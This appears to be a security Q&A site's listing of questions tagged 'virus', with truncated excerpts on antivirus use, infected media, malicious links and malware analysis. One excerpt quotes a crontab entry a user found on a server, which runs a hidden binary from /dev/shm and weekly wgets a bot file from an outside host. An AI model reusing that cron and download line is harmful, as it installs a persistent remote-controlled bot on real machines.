A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

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6answers
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Virus Encoded in Video

So I'm not familiar at all with IT Security, but I'm a bit curious about something. I was watching a TV show and at one point, a virus spreads through an office. They investigate and find out that the ...
37
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8answers
7k views

Should I get an antivirus for my Mac?

There are some people saying that people should use an antivirus software on Mac. And there are thousands of people claiming that Macs don't get viruses (under this term I mean spyware / malware as ...
37
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7answers
7k views

Does a virus need to be clicked on to function?

Can a virus infect my Windows XP operating system by its mere presence? I mean, if I copy/paste a virus on my computer and I never click on it, will it infect my computer or will it remain dormant, ...
34
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7answers
65k views

How can I watch porn, safely, and not get a virus? (and not infect corporate data also)

I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company ...
33
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2answers
9k views

What malicious things can happen when clicking on links in email?

I've received a spam from one of my friends (well I'm sure he didn't send it). so there's this link, and i'd thought what exactly would be the implications of clicking the link (i've not clicked it ...
28
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4answers
7k views

Should I get an antivirus for Ubuntu?

Considering the recent thread regarding anti-virus for the Mac I wonder how many of the arguments put forth are relevant today to Linux systems, specifically Ubuntu. There are no known Ubuntu ...
21
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3answers
5k views

Are popular porn sites more likely to be infected with malware?

I'm trying to help my friend understand this because he believes that since a site is very popular, that it's less likely to infect its viewers because of its security! Is a popular site less likely ...
20
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6answers
3k views

Malicious Links that Respond to Browsers but not curl or wget

There are some emails with links to people's cracked websites with a malware download Like this kind of email: fake DHL pack station email ... the links often take the form of: http:// ...
20
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2answers
822 views

Cohen's problem

Fred Cohen determined theoritically that viral detetction is an undecidable problem. Can anyone provide an intuitive reasoning for that? Background Fred Cohen experimented with computer viruses ...
20
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4answers
35k views

How to inject executable, malicious code into PDF, JPEG, MP3, etc.?

I wanted to know if its generally possible to inject executable code into files like PDFs or JPEGs etc., or must there be some kind of security hole in the application? And if so, how would one do ...
19
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3answers
3k views

How can I tell if I have the citadel virus without downloading an antivirus?

I recently received an e-mail from Virgin Media indicating that I might have the Citadel virus. It obviously sounds like a fake e-mail, but I am almost certain it is genuine, as they had my name and ...
19
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2answers
4k views

How does a crypter for bypassing antivirus detection work?

I am talking about crypters used to encrypt files like viruses and keyloggers for the sole purpose of bypassing antivirus detection. How do they work?
19
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3answers
1k views

Are older viruses removed from virus definition files?

Antivirus software receives constant updates in the form of virus definition files, containing the patterns used to identify viruses. It is a feature present on most (if not all) major AV for at least ...
19
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4answers
2k views

Are anti-virus companies companies regularly committing software piracy?

As Mikko Hypponen highlighted in a recent tweet, anti-Virus companies collect and store both samples of malicious software and samples of legitimate software: This got me to thinking, what ...
18
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7answers
1k views

Why do malware creators use such clever technologies for such silly purposes?

Some days ago I got infected by a malware, probably something new and very clever, as it went in unstopped and no scanning tool was able to detect it afterwards (see this question). It was a ...
17
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7answers
804 views

How to deal with a person who gets easily fooled by internet and mail scams?

alternative title: How to deal with a person who has gotten paranoid and doesn't want to go online anymore? A person, who has over the years been scammed many times, by bad spam/fraud emails, and ...
16
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5answers
970 views

Why would a virus writer bother to check to see if a machine is infected before infecting it?

I was looking at the tripartite structure of a virus, and it seems to check to see if a computer is infected before infecting it with the virus. Would this be an attempt to use files that are already ...
16
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4answers
3k views

What is the corrupted image vulnerability? How does it work?

What exactly happens when someone injects malicious binary code into an image file (on Windows)? How is that done?
15
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3answers
5k views

What does this javascript file do? Is this a virus?

While searching on Google I found a website that shows one set of content to the Google Bot and an other to users (by redirecting to a new domain), and also a very suspicious Javascript file. Maybe ...
15
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2answers
673 views

Is there a real possibility of getting malware by “drive-by”?

I know malware can be gotten by downloading and running stuff, but is there a real possibility of just viewing a webpage or clicking a link and getting one? Assuming using only Firefox / Chrome and ...
15
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2answers
634 views

Could once infected machine be ever trusted again?

I'm just about to switch to a new SSD drive, so I figured it's a good occasion for a really, really fresh start. I reconsidered every installed piece of software, uninstalled lots of crap ...
13
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3answers
5k views

Can Cryptolocker (Or Other Ransomware) Encrypt Files That Are Already Encrypted?

If you have already encrypted files, are they still vulnerable to being encrypted a second time by a program like Cryptolocker, or would this protect them?
13
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6answers
4k views

Finding a specific malware sample for malware analysis purposes

I wish to analyze the changes made by a specific virus. For example, Win32.Sality. Where can I get the sample of this, or other similar, malware for testing?
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4answers
1k views

How is a worm different from a virus?

In spite of various online articles, I'm a bit unclear on the distinction between a "worm" and a "virus". Two related questions-- Is there a useful and clear distinction here or no? If so, what is ...
12
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3answers
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What file formats are known to be unsafe?

I recently found out pdf's can contain viruses, and from the impression I got its more than a buffer overflow error (I heard it may visit urls automatically but the person sounded unsure) What are ...
12
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5answers
839 views

Detection and analysis of unknown malware

Suppose I have a binary which is suspicious. How can I determine whether it is malicious, and if it is, reverse-engineer how it works and what it does? For example, maybe using static analysis? Are ...
12
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4answers
6k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
11
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8answers
3k views

Can malware be attached to an image?

I have a small number of employees who use a company computer but these people aren't very tech savvy. They use an email client and a messaging client. I'm pretty sure they wouldn't click on .exe or ...
11
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3answers
5k views

Do I really need an Anti-Virus software if I'm careful about where I browse?

A friend told to me the following: I don't use Anti-Virus software at all, I am just careful about where I go and what I click on. I've also heard this from other people as I've repaired their ...
11
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7answers
3k views

Can viruses actually inject their code in other processes?

Can a virus really inject its own code into a process so it stays on your computer permantly? The only way to actually remove it is to reinstall your OS. My question is how can it do that without ...
9
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6answers
7k views

how to protect my USB stick from Viruses

I repair a lot of computers with viruses, malware, and what not, and I have one problem that I am struggling to find a solution for. Whenever I connect my USB stick that has the tools I need for the ...
9
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2answers
2k views

How can a malicious URL affect a computer?

Many security experts advise not to click on malicious URLs. How can clicking a URL affect a computer's security? If a malicious file was downloaded and executed, then a computer's security may be ...
8
votes
4answers
844 views

Is disabling auto-run enough to protect against malicious code from removable media automatically infecting a machine?

If I block auto-run on a windows machine, is this enough to protect it from malicious code (assuming I don't run any files manually)? Or are there known vulnerabilities that may cause infection?
8
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6answers
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How can I prevent viruses/malware from infecting my flash drive?

I've a pen drive that I carry to the college lab . It seems all the systems in lab is infected. I need to be able to write to the drive, so I can't simply write protect it. Everytime I insert a ...
8
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3answers
2k views

Am I protected from USB autorun malware on Windows 7?

As far as I know, the autorun.inf problem (the possibility of automatically executing code when a USB stick is plugged in) was solved through Windows Updates for XP, and on 7 it is no longer possible ...
8
votes
3answers
705 views

Can I use the same keyboard on both my infected and non-infected computers?

I have a computer which is virus infected. Can I use the same keyboard on both it and a "safe/clean" computer without fear? Keyboards these days seem to come with built in software and thus must ...
8
votes
2answers
11k views

Advice on what to do after being hacked?

After running a system scan earlier today, I found that my computer had been infected by a trojan horse. My reason for running the scan was because Windows kept shutting down and then recovering. ...
8
votes
6answers
753 views

What is preventing the widespread common use of MAC-type systems?

Overall question what is preventing the uptake of MAC systems such as SELinux/AppArmor in corporate and desktop computing environments? Why don't you think it isn't already widespread? I do not ...
8
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3answers
204 views

How do I report new malware?

I have a new piece of malware that isn't detected by current anti-virus vendors. How do I report it to them? I want to do a good turn and help protect as many people as possible. What is the best ...
7
votes
4answers
1k views

Is it safe to serve any user uploaded file under only white-listed MIME content types?

Let's say I develop an application that, Allows any user to upload a file of only white listed mime content type and extensions (word and pdf). Serves those files with the allowed extension and ...
7
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2answers
7k views

Is Buzzdocks a security threat?

A BuzzDock toolbar suddenly appeared in my Chrome browser. I definitely did not install it nor do I remember installing any crapware. It is not unknown to the internet community (Example 1, Example ...
7
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4answers
12k views

Security issues with allowing Dropbox installations on client PC's in our organisation

Does anyone know if there is any good reasons not to allow Dropbox installations on our client PC's? All the PC's have antivirus installed and running. I know it is an additional attack vector to ...
7
votes
2answers
238 views

How serious is a local virus in terms of network security

My colleague got a notification on his machine of a possible virus (through the virus scanner that is installed by default on all machines). He called up the tech department, and they simply told him ...
7
votes
2answers
905 views

Recently had a virus, can I use backed up files on clean system?

I had to reinstall my OS (windows) recently due to a virus. I backed up my source files onto a flash drive. How can I get to those files without problems? I know flash drives can have nasty things in ...
6
votes
4answers
491 views

Would running VMs inside of VMs be a more secure way to study viruses, etc?

I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, ...
6
votes
3answers
751 views

How effective is something like Deep Freeze against boot sector infections?

I work for an embedded system manufacturer and on our older generation systems, which are powered by Windows Embedded, a number of customers have been experiencing virus infections. Due to the real ...
6
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2answers
3k views

Viruses on video cards?

Steve Gibson of Security Now fame claims that viruses can attack a video card and infect it. I assume that he means it can infect the Video BIOS. However I'm skeptical. BIOSes are so numerous and ...
6
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4answers
570 views

Is there any chance PHP developers themselves implement backdoors in PHP core?

This is not a concern that I personally have,no! In my job environment I've heard from programmers and non programmers that PHP developers always put secret backdoors in PHP that no one has access to ...
6
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3answers
303 views

How safe are copies of Firefox that are on various Mozilla mirror sites?

If I end up downloading a .dmg or .exe (depending on OS) installer from some mirror site, how can I be sure that a virus or trojan or spyware has not been added? I don't see any mechanism for ...
6
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3answers
2k views

Why did Apple think OS/X was virus proof?

In such articles as this one at Examiner.com, we see that Apple had long "advertised" the immunity of its desktop OS to viruses. It had to dilute that assertion when the Flashback virus appeared. ...